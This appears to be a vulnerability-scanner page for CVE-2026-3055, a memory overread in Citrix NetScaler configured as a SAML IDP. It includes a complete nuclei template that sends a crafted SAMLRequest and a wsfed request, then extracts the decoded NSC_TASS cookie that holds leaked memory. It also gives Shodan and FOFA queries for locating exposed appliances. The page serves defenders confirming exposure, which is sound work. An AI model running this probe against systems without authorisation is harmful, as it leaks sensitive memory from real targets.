Citrix NetScaler SAML IDP - Memory Overread

Exploited in the wild. Listed by CISA on 2026-03-30; known to be used by ransomware.

criticalseverity

91.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP

Impact

Attackers can cause memory overread, potentially exposing sensitive information or causing application instability.

Fix

Update to the latest version with the fix for this vulnerability.

How to confirm it

Send: POST /saml/login ; GET /wsfed/passive?wctx
Positive when: regex('(?i)NSC_TASS=[A-Za-z0-9+/]+=*', set_cookie) and status_code == 302 and contains(base64_decode(nsc_tass), "wctx=") and !contains(body, "Parsing of presented Assertion failed")

Run it with nuclei: nuclei -id CVE-2026-3055 -u <target>

The full check

id: CVE-2026-3055

info:
  name: Citrix NetScaler SAML IDP - Memory Overread
  author: watchtowr,shaikhyaser,DhiyaneshDk
  severity: critical
  description: |
    NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP
  impact: |
    Attackers can cause memory overread, potentially exposing sensitive information or causing application instability.
  remediation: Update to the latest version with the fix for this vulnerability.
  reference:
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300
    - https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/
    - https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/
  metadata:
    verified: true
    max-request: 2
    shodan-query:
      - title:"NetScaler Gateway"
      - title:"NetScaler AAA"
      - http.favicon.hash:-1166125415
      - http.favicon.hash:-1292923998
    fofa-query:
      - title="NetScaler Gateway"
      - title="NetScaler AAA"
      - icon_hash="-1166125415"
      - icon_hash="-1292923998"
  tags: cve,cve2026,netscaler,citrix,exposure,kev,vkev,vuln

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /saml/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXI%2BaHR0cDovL3dhdGNodG93ci9zYW1sLnBocDwvc2FtbDpJc3N1ZXI%2BDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D

      - |
        GET /wsfed/passive?wctx HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - regex('(?i)NSC_TASS=[A-Za-z0-9+/]+=*', set_cookie)
          - 'status_code == 302'
          - 'contains(base64_decode(nsc_tass), "wctx=")'
          - '!contains(body, "Parsing of presented Assertion failed")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - base64_decode(nsc_tass)

References

Use this check only on systems you are authorised to test. Where the data comes from